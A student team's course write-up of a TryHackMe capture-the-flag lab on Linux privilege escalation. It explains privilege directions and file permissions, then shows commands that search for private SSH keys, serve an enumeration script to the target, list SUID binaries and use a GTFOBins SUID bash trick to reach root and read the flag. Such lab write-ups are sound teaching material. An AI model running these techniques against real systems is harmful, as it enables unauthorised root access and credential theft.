

# PSP0201

## Week 3

### Writeup

Group Name: ikun no 1

Members

ID	Name	Role
1211102058	Chu Liang Chern	Leader
1211101401	Chong Jii Hong	Member
1211103206	Ng Kai Keat	Member
1211103095	Siddiq Ferhad Bin Khairil Anual	Member

## Day 11 - Networking The Rogue Gnome

**Tool Used:** Kali Linux, firefox, GTFObins, LinEnum, Nmap, Netcat

### Solution/walkthrough:

#### Q1

#### 11.4. The directions of privilege escalation

The process of escalating privileges isn't as clear-cut as going straight from a user through to administrator in most cases. Rather, slowly working our way through the resources and functions that other users can interact with.

##### 11.4.1. Horizontal Privilege Escalation:

A horizontal privilege escalation attack involves using the intended permissions of a user to abuse a vulnerability to access another user's resources who has similar permissions to you. For example, using an account with access to accounting documents to access a HR account to retrieve HR documents. As the difference in the permissions of both the Accounting and HR accounts is the data they can access, you aren't moving your privileges upwards.

##### 11.4.2. Vertical Privilege Escalation:

A bit more traditional, a vertical privilege escalation attack involves exploiting a vulnerability that allows you to perform actions like commands or accessing data acting as a higher privileged account such as an administrator.

Remember the attack you performed on "*Day 1 - A Christmas Crisis*"? You modified your cookie to access Santa's control panel. This is a fantastic example of a vertical privilege escalation because you were able to use your user account to access and manage the control panel. This control panel is only accessible by Santa (an administrator), so you are moving your permissions upwards in this sense.

#### 11.5. Reinforcing the Breach

Study from Try Hack Me.

#### Q2

In this case, it means I have access as a higher privileged account.

#### Q3

In this case, I have access to another user's resources who has similar privileges.

## Q4

Our directory has three directories "exampledir[3]" and three files "examplefile[3]". I've listed the four columns of interest here:

Column Letter	Description	Example
[A]	filetype (d is a directory, f is a file) and the user and group permissions "r" for reading, "w" for write and "x" for executing.	A file with -rwxr-xr-x is read/write to the user and group only. However, every other user has read access only.
[B]	the user who owns the file	cmnatic (system user)
[C]	the group (of users) who owns the file	sudoers group

At the moment, the "examplefiles" are not executable as there is no "x" present for either the user or group. When setting the executable permission ( `chmod +x filename` ), this value changes (note the "x" in the snippet below -rwxrwxr):

```
-rwxrwxr-x 1 cmnatic cmnatic @ Dec 8 18:43 backup.sh
```

Normally, executables and commands (commands are just shortcuts to executables) will execute as the user who is running them (assuming they have the file permissions to do so). This is why some commands such as changing a user's password require `sudo` in front of them. The `sudo` allows you to execute something with the permissions as root (the most privileged user). Users who can use `sudo` are called "sudoers" and are listed in `/etc/sudoers` (we can use this to help identify valuable users to us).

SUID is simply a permission added to an executable that does a similar thing as sudo. However, instead, allows users to run the executable as whoever owns it as demonstrated below:

Study from Try Hack Me.

## Q5

- conrig

Our vulnerable machine in this example has a directory called backups containing an SSH key that we can use for authentication. This was found via:

```
find / -name id_rsa 2> /dev/null
```

....Let's break this down:

- We're using `find` to search the volume, by specifying the root (`/`) to search for files named "id\_rsa" which is the name for *private* SSH keys, and then using `2> /dev/null` to only show matches to us.

Can you think of any other files or folders we may want to *find*?

Study from Try Hack Me.

## Q6

At the moment, the "examplefiles" are not executable as there is no "x" present for either the user or group. When setting the executable permission ( `chmod +x filename` ), this value changes (note the "x" in the snippet below -rwxrwxr):

To execute an executable file, use the `[chmod +x {filename}]` command and replace the `[filename]` with the name of the executable file.

## Q7

11.10.2. Let's use Python3 to turn our machine into a web server to serve the `LinEnum.sh` script to be downloaded onto the target machine. Make sure you run this command in the same directory that you downloaded `LinEnum.sh` to:

```
python3 -m http.server 8080
```

To host a server using python3 that can use wget, use the similar command as learned from Try Hack Me `[python3 -m http.server {port number}]` and replace the `{port number}` with the port number required.

## Q8

```
121102058@kali: ~
File Actions Edit View Help
[121102058@kali:~]$ ssh cmatic@10.18.29.155
cmatic@10.18.29.155:~$ password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

System information as of Sat Jul  2 08:57:56 UTC 2022

System load:  0.0               Processes:    94
Usage of /:   26.8% of 14.7GB    Users logged in: 0
Memory usage: 17%              IP address for ens5: 10.18.29.155
Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

58 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat Jul  2 08:48:26 2022 from 10.18.29.155
-bash-4.4$
```

Use SSH to login.

```
121102058@kali: ~
File Actions Edit View Help
Last login: Sat Jul  2 08:48:26 2022 from 10.18.29.155
-bash-4.4$ find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/fusermount
/bin/bash
/snap/core/10444/bin/mount
/snap/core/10444/bin/ping
/snap/core/10444/bin/ping6
/snap/core/10444/bin/su
/snap/core/10444/bin/sudo
/snap/core/10444/usr/bin/chfn
/snap/core/10444/usr/bin/chsh
/snap/core/10444/usr/bin/gpasswd
/snap/core/10444/usr/bin/newgrp
/snap/core/10444/usr/bin/passwd
/snap/core/10444/usr/bin/sudo
/snap/core/10444/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/10444/usr/lib/openssh/ssh-keysign
/snap/core/10444/usr/lib/snapd/snap-confine
/snap/core/7270/bin/mount
/snap/core/7270/bin/ping
/snap/core/7270/bin/ping6
/snap/core/7270/bin/su
/snap/core/7270/bin/umount
/snap/core/7270/usr/bin/chfn
/snap/core/7270/usr/bin/chsh
/snap/core/7270/usr/bin/gpasswd
/snap/core/7270/usr/bin/newgrp
/snap/core/7270/usr/bin/passwd
/snap/core/7270/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/7270/usr/lib/openssh/ssh-keysign
/snap/core/7270/usr/lib/snapd/snap-confine
/snap/core/7270/usr/sbin/pppd
/usr/bin/at
/usr/bin/sudo
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/gxexec
/usr/bin/newuidmap
/usr/bin/rtracertoolkit-utils
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/ject/decrypt-get-device
```

Use find command to search for all executables with the SUID set. The command used is `[find / -perm -u=s -type f 2>/dev/null]`.

### | SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian ( $\leq$  Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which bash) .
./bash -p
```

A command name `[/bash]` is found that is executed as root. Try to execute it with another version from GTFObins for misconfiguration of permission.

```
-bash-4.4$ bash -p
bash-4.4# whoami
root

bash-4.4# ls /root
flag.txt
bash-4.4# cd /root
bash-4.4# cat flag.txt
thm{2fb10afe933296592}
bash-4.4#
```

After executing the command, misconfiguration occurs. Look into the file inside the root directory. A .txt file name flag is found. Read the file and capture the flag.